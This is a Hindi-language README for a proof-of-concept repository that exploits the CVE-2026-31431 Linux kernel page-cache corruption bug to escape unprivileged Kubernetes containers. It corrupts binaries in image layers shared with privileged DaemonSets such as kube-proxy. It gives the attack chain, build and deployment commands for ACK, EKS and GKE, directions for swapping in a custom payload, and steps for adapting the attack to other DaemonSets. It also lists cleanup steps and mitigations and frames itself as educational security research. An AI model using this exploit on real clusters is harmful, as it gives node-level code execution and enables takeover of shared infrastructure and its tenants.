
PoC: CVE-2026-31431 पेज-कैश भ्रष्टाचार + साझा इमेज लेयर्स के माध्यम से Kubernetes पर पूरी तरह से अनप्रिविलेज्ड कंटेनर एस्केप से नोड-स्तरीय कोड निष्पादन। Alibaba Cloud ACK, Amazon EKS और Google GKE पर मान्य किया गया।
एक प्रूफ-ऑफ-कॉन्सेप्ट जो दर्शाता है कि कैसे एक पूरी तरह से अविशेषाधिकारित कंटेनर साझा कंटेनर इमेज लेयर्स के माध्यम से CVE-2026-31431 Linux कर्नेल पेज-कैश भ्रष्टाचार बग का शोषण करके Kubernetes पर नोड-स्तरीय कोड निष्पादन प्राप्त कर सकता है।
मुख्य हमला प्रिमिटिव यह है: कोई भी विशेषाधिकारित DaemonSet जो हमलावर-नियंत्रित कंटेनर के साथ इमेज लेयर्स साझा करता है, उसे कंटेनर एस्केप के लिए हथियार बनाया जा सकता है। यह PoC kube-proxy को एक ठोस उदाहरण के रूप में उपयोग करता है, लेकिन यह तकनीक क्लस्टर पर किसी भी विशेषाधिकारित वर्कलोड के लिए सामान्यीकृत होती है।
Alibaba Cloud ACK, Amazon EKS और Google GKE पर मान्य किया गया — एक अविशेषाधिकारित pod विशेषाधिकारित kube-proxy DaemonSet के माध्यम से होस्ट फाइलसिस्टम पर [*] success लिखता है:
| Alibaba Cloud ACK (kernel 6.6.88) | Amazon EKS (kernel 6.12.79) | Google GKE (kernel 6.12.68) |
|---|---|---|
![]() | ![]() | ![]() |
अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है। इसका उपयोग केवल उन सिस्टम पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण है।
CVE-2026-31431 ("Copy Fail") Linux कर्नेल में पेज-कैश कॉपी-ऑन-राइट (CoW) पथ में एक भेद्यता है। एक AF_ALG splice रेस एक अविशेषाधिकारित प्रक्रिया को केवल-पढ़ने योग्य फ़ाइल के पेज-कैश पृष्ठों को दूषित करने की अनुमति देता है। यह भ्रष्टाचार कर्नेल पेज कैश में बना रहता है और उस फ़ाइल को बाद में पढ़ने या निष्पादित करने वाली हर प्रक्रिया को दिखाई देता है — जिसमें अन्य कंटेनरों या होस्ट की प्रक्रियाएँ शामिल हैं।
मूल भेद्यता के पूर्ण विवरण के लिए, देखें copy.fail.
यह हमला तीन गुणों का शोषण करता है जो सामान्यतः Kubernetes क्लस्टरों में सह-अस्तित्व में होते हैं:
privileged: true, hostNetwork: true, व्यापक क्षमताएँ, आदि) वाले DaemonSets चलाते हैं जो समय-समय पर अपनी इमेज से बाइनरी निष्पादित करते हैं।जब ये स्थितियाँ संरेखित होती हैं, तो एक अविशेषाधिकारित pod एक साझा इमेज लेयर में बाइनरी को दूषित कर सकता है, और उसी नोड पर एक विशेषाधिकारित DaemonSet अनजाने में दूषित बाइनरी को अपने उन्नत विशेषाधिकारों के साथ निष्पादित करेगा — पूर्ण नोड-स्तरीय कोड निष्पादन प्राप्त करना।
भेद्यता लक्ष्य kube-proxy तक सीमित नहीं है। कोई भी विशेषाधिकारित DaemonSet (मॉनिटरिंग एजेंट, CNI प्लगइन, लॉग कलेक्टर, सुरक्षा एजेंट, आदि) जिसकी कंटेनर इमेज हमलावर-नियंत्रित इमेज के साथ लेयर्स साझा करती है, एक व्यवहार्य लक्ष्य है।
हमले की श्रृंखला में तीन चरण हैं: पेज-कैश भ्रष्टाचार, क्रॉस-कंटेनर प्रसार, और विशेषाधिकारित निष्पादन।
कर्नेल का AF_ALG (क्रिप्टो) उपसिस्टम उपयोगकर्ता-स्थान क्रिप्टोग्राफिक संचालन के लिए एक सॉकेट-आधारित इंटरफ़ेस प्रदान करता है। शोषण एक रेस कंडीशन का दुरुपयोग करता है कि कर्नेल किसी फ़ाइल से AF_ALG सॉकेट में splice() को कैसे संभालता है:
authencesn(hmac(sha256),cbc(aes)) से बंधा एक AF_ALG AEAD सॉकेट बनाएँ।MSG_MORE के साथ AF_ALG सॉकेट के माध्यम से एक छोटा पेलोड खंड भेजें, कर्नेल को बताएं कि अधिक डेटा की अपेक्षा करें।splice() करें।शोषण प्रत्येक 4-बाइट विंडो के लिए इसे दोहराता है जब तक कि पूरी लक्ष्य बाइनरी के कैश्ड पृष्ठ एक कस्टम पेलोड के साथ अधिलेखित नहीं हो जाते।
फ़ाइल में लिखने की अनुमति की आवश्यकता नहीं है। डिस्क पर फ़ाइल अपरिवर्तित रहती है — केवल मेमोरी में पेज कैश दूषित होता है।
कंटेनर रनटाइम ओवरले फाइलसिस्टम का उपयोग करते हैं। जब दो कंटेनर एक ही इमेज लेयर साझा करते हैं, तो कर्नेल उनकी फ़ाइल पढ़ने को समान पेज-कैश पृष्ठों से प्रस्तुत करता है।
हमलावर अपनी PoC इमेज को लक्ष्य विशेषाधिकारित DaemonSet के समान आधार इमेज से FROM बनाता है। क्योंकि दोनों कंटेनर एक ही ओवरले लोअर-डीर साझा करते हैं, साझा लेयर में बाइनरी समान पेज-कैश पृष्ठों पर मैप होती हैं।
जब अविशेषाधिकारित PoC कंटेनर एक बाइनरी के पेज कैश को दूषित करता है, तो भ्रष्टाचार उसी नोड पर विशेषाधिकारित कंटेनर को तुरंत दिखाई देता है — बिना किसी क्रॉस-कंटेनर संचार के।
जब विशेषाधिकारित DaemonSet अगली बार किसी दूषित बाइनरी को निष्पादित करता है (अपने सामान्य संचालन चक्र के माध्यम से), तो कर्नेल दूषित पेज-कैश पृष्ठों को लोड करता है। हमलावर का पेलोड DaemonSet के पूर्ण विशेषाधिकारों के साथ चलता है — जिसमें संभावित रूप से शामिल हैं:
इस PoC में पेलोड (payload/payload.c) बस होस्ट रूट फाइलसिस्टम को माउंट करता है और नोड-स्तरीय कोड निष्पादन के प्रमाण के रूप में /root/res में एक मार्कर फ़ाइल लिखता है।
┌──────────────────────────┐ ┌──────────────────────────┐
│ PoC Container │ │ Privileged DaemonSet │
│ (unprivileged) │ │ (e.g. kube-proxy, │
│ │ │ monitoring agent, etc.)│
│ 1. Open target binary │ │ │
│ (read-only) │ │ │
│ │ │ │
│ 2. AF_ALG splice race │ │ │
│ corrupts page cache │ │ │
│ │ │ │ │
└──────────┼───────────────┘ └──────────────────────────┘
│ │
▼ │
┌─────────────────────┐ │
│ Kernel Page Cache │ │
│ │◄────────────────────┘
│ Shared-layer binary │ 3. DaemonSet executes the
│ (CORRUPTED) │ corrupted binary
│ contains attacker's │ → loads corrupted pages
│ payload bytes │ → payload runs with
└─────────────────────┘ DaemonSet's privileges
PoC को निम्नलिखित प्रबंधित Kubernetes प्लेटफ़ॉर्मों पर सफलतापूर्वक मान्य किया गया है:



तीनों मामलों में, एक अविशेषाधिकारित PoC pod ने होस्ट फाइलसिस्टम पर सफलतापूर्वक [*] success मार्कर फ़ाइल लिखी — विशेषाधिकारित kube-proxy DaemonSet के माध्यम से नोड-स्तरीय कोड निष्पादन साबित करना।
पूर्ण वॉकथ्रू (इमेज लेयर विश्लेषण, बिल्ड चरण, परिनियोजन) के लिए:
यह PoC kube-proxy को लक्ष्य के रूप में उपयोग करता है क्योंकि यह Kubernetes क्लस्टरों में सबसे सामान्य विशेषाधिकारित DaemonSets में से एक है। तीन वेरिएंट प्रदान किए गए हैं:
FROM registry.k8s.io/kube-proxy:v1.35.2 से निर्मित (देखें Dockerfile)FROM public.ecr.aws/eks-distro-build-tooling/eks-distro-minimal-base-iptables:2026-03-11-1773190710.2023 से निर्मित (देखें Dockerfile.eks)FROM us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000 से निर्मित (देखें Dockerfile.gke)सभी वेरिएंट /usr/sbin/ipset, /usr/sbin/nft, /usr/sbin/xtables-legacy-multi, और /usr/sbin/xtables-nft-multi जैसी बाइनरी को दूषित करते हैं।
महत्वपूर्ण चेतावनियाँ:
ipset को आमंत्रित करता है। डिफ़ॉल्ट मोड (iptables) ipset का उपयोग नहीं करता है। ipvs डिप्रिकेशन योजना के लिए देखें kubernetes/enhancements#5495।ipset, nft, xtables-legacy-multi, xtables-nft-multi) को लक्षित करता है, लेकिन वे आमंत्रित होते हैं या नहीं यह क्लस्टर कॉन्फ़िगरेशन पर निर्भर करता है।यदि आपके क्लस्टर में kube-proxy विशेषाधिकारित नहीं है, तो हमले का सिद्धांत अभी भी मान्य है — आपको बस एक भिन्न विशेषाधिकारित DaemonSet की पहचान करने की आवश्यकता है जो एक आधार इमेज के साथ इमेज लेयर्स साझा करता है जिससे आप बना सकते हैं।
इस PoC को किसी भिन्न विशेषाधिकारित DaemonSet के लिए अनुकूलित करने हेतु:
FROM बनाएँ।.
├── cmd/copyfail/main.go # Entry point; embeds compiled payload
├── internal/
│ ├── exploit/
│ │ ├── exploit.go # Core exploit: AF_ALG splice race loop
│ │ └── patch.go # Splits payload into 4-byte patch windows
│ └── alg/
│ └── alg.go # AF_ALG AEAD socket abstraction
├── payload/
│ ├── payload.c # ACK/upstream payload (mount /dev/vda3 ext4)
│ ├── payload-eks.c # EKS payload (NVMe/Xen device auto-detection)
│ ├── payload-gke.c # GKE payload (COS/Ubuntu device auto-detection)
│ └── nolibc/ # Kernel's tiny libc for static, no-dependency payloads
├── deploy/
│ ├── poc.yaml # Kubernetes Deployment manifest (ACK/upstream)
│ ├── poc-eks.yaml # EKS Deployment manifest
│ └── poc-gke.yaml # GKE Deployment manifest
├── Dockerfile # ACK/upstream: FROM registry.k8s.io/kube-proxy
├── Dockerfile.eks # EKS: FROM eks-distro-minimal-base-iptables
├── Dockerfile.gke # GKE: FROM gke-release/kube-proxy
├── Makefile # Build orchestration (includes *-eks and *-gke targets)
└── docs/
├── eks-poc.md # EKS PoC full walkthrough
├── gke-poc.md # GKE PoC full walkthrough
├── ack-poc-res.png # ACK validation screenshot
├── eks-poc-res.png # EKS validation screenshot
└── gke-poc-res.png # GKE validation screenshot
x86_64-linux-gnu-gcc)imagePullPolicy: IfNotPresent (Kubernetes डिफ़ॉल्ट)# Build payload + Go binary
make build
# Build Docker image
make docker-build
# Build and push to GHCR
make docker-push IMAGE=ghcr.io/<you>/copy-fail-poc TAG=latest
# Build EKS payload + Go binary + Docker image
make docker-build-eks
# Build and push to GHCR
make docker-push-eks IMAGE=ghcr.io/<you>/copy-fail-poc
arm64 लक्ष्यों (Graviton) के लिए:
make build-eks CC=aarch64-linux-gnu-gcc GOARCH=arm64
# Build GKE payload + Go binary + Docker image
make docker-build-gke
# Build and push to GHCR
make docker-push-gke IMAGE=ghcr.io/<you>/copy-fail-poc
arm64 नोड्स के लिए:
make docker-build-gke CC=aarch64-linux-gnu-gcc GOARCH=arm64 PLATFORM=linux/arm64
# ACK / upstream Kubernetes
kubectl apply -f deploy/poc.yaml
# Amazon EKS
kubectl apply -f deploy/poc-eks.yaml
# Google GKE
kubectl apply -f deploy/poc-gke.yaml
यह Deployment एक एकल अविशेषाधिकारित pod बनाता है। यह:
/bin/copyfail चलाता है।लक्ष्य विशेषाधिकारित DaemonSet द्वारा अगली बार एक दूषित बाइनरी निष्पादित करने के बाद (kube-proxy के लिए, यह आमतौर पर इसके पुनर्मिलन लूप के कारण सेकंड के भीतर होता है), नोड की जाँच करें:
# SSH into the node, or use a privileged debug pod
# ACK / EKS (writable root filesystem)
cat /root/res
# Expected output: [*] success
# GKE COS nodes (read-only root, writable stateful partition)
cat /mnt/stateful_partition/copyfail-res
# Expected output: [*] success
होस्ट फाइलसिस्टम पर मार्कर फ़ाइल की उपस्थिति साबित करती है कि हमलावर-आपूर्ति किया गया कोड नोड-स्तरीय विशेषाधिकारों के साथ निष्पादित हुआ — विशेषाधिकारित DaemonSet के कंटेनर संदर्भ के अंदर से।
kubectl delete -f deploy/poc.yaml # or poc-eks.yaml / poc-gke.yaml
# On the affected node(s), remove the marker and restart the target DaemonSet:
rm -f /root/res # ACK / EKS
rm -f /copyfail-res /mnt/stateful_partition/copyfail-res # GKE COS nodes
# For kube-proxy: delete the pod to force image layer re-read
kubectl delete pod -n kube-system -l k8s-app=kube-proxy --field-selector spec.nodeName=<node>
डिफ़ॉल्ट पेलोड (payload/payload.c) एक केवल-सत्यापन प्रोग्राम है जो एक मार्कर फ़ाइल लिखता है। एक कस्टम पेलोड बनाने के लिए:
payload/payload.c संपादित करें। प्रोग्राम एक स्थिर, निर्भरता-मुक्त बाइनरी के लिए nolibc (कर्नेल की न्यूनतम C लाइब्रेरी) के विरुद्ध बनाया गया है।make payload चलाएँ।//go:embed के माध्यम से Go बाइनरी में एम्बेड किया जाता है।privileged: true की आवश्यकता नहीं है।AF_ALG सॉकेट बनाने से रोककर शोषण वेक्टर को अवरुद्ध करता है। यह नियम AppArmor और BPF प्रवर्तकों के माध्यम से उपलब्ध है।tools/include/nolibc/)इस रिपॉजिटरी में Go शोषण कोड अनुसंधान उद्देश्यों के लिए यथावत प्रदान किया गया है।
पेलोड (payload/payload.c) copy-fail-c से व्युत्पन्न है और LGPL-2.1-or-later OR MIT के तहत दोहरे-लाइसेंस प्राप्त है। देखें LICENSE-LGPL और LICENSE-MIT
| गुण | मान |
|---|
| प्लेटफ़ॉर्म | Alibaba Cloud Container Service for Kubernetes (ACK) |
| Kubernetes | v1.35.2 |
| नोड कर्नेल | 6.6.88-4.2.alnx4.x86_64 |
| kube-proxy | registry-cn-*.ack.aliyuncs.com/acs/kube-proxy:v1.35.2-aliyun.1 |
| आधार इमेज | registry.k8s.io/kube-proxy:v1.35.2 (upstream) |
| रूट डिवाइस | /dev/vda3 (ext4) |
| गुण | मान |
|---|
| प्लेटफ़ॉर्म | Amazon Elastic Kubernetes Service (EKS) |
| Kubernetes | v1.35.4 |
| नोड कर्नेल | 6.12.79-101.147.amzn2023.x86_64 |
| kube-proxy | ***.dkr.ecr.***.amazonaws.com.cn/eks/kube-proxy:v1.35.3-eksbuild.2 |
| आधार इमेज | public.ecr.aws/eks-distro-build-tooling/eks-distro-minimal-base-iptables:2026-03-11-1773190710.2023 |
| रूट डिवाइस | /dev/nvme0n1p1 (xfs) |
| गुण | मान |
|---|
| प्लेटफ़ॉर्म | Google Kubernetes Engine (GKE) |
| Kubernetes | v1.35.3-gke.1234000 |
| नोड OS | Container-Optimized OS (COS) 125, BUILD_ID 19216.220.72 |
| नोड कर्नेल | 6.12.68+ x86_64 |
| kube-proxy | us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000 |
| आधार इमेज | Same as kube-proxy (GKE provider-managed Artifact Registry image) |
| रूट डिवाइस | /dev/dm-0 (ext2, read-only); /dev/sda1 (ext4, writable stateful partition) |
| मार्कर पथ | /mnt/stateful_partition/copyfail-res |